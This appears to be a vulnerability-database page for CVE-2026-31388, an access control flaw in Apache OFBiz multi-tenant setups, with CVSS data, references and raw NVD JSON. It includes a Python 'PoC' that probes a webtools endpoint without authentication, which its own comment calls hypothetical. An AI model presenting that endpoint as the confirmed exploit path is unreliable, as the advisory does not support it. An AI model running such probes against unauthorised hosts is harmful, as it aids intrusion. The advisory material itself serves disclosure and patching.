CVE-2026-31388

Description

Improper Access Control vulnerability in Apache OFBiz in multi-tenant deployments. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE

Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for Access Control Vulnerability in Apache OFBiz
# Targeting a hypothetical vulnerable endpoint in a multi-tenant setup

target = "http://vulnerable-host:8080/webtools/control/programExport"

def check_access_control():
    try:
        # Send request without authentication cookies or headers
        response = requests.get(target, timeout=10)
        
        if response.status_code == 200:
            print("[+] Potential Vulnerability Detected!")
            print("[+] Endpoint accessible without authentication.")
            print(f"[+] Response Length: {len(response.text)}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    check_access_control()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31388
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31388
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31388/
[4] VulDB https://vuldb.com/cve/CVE-2026-31388
[5] https://lists.apache.org/thread/npjchvnpnosoqpto46s2om12jd9s7py7
[6] http://www.openwall.com/lists/oss-security/2026/05/19/21

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31388", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.643", "lastModified": "2026-05-19T19:16:47.840", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Access Control vulnerability in Apache OFBiz in multi-tenant deployments.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/npjchvnpnosoqpto46s2om12jd9s7py7", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/21", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}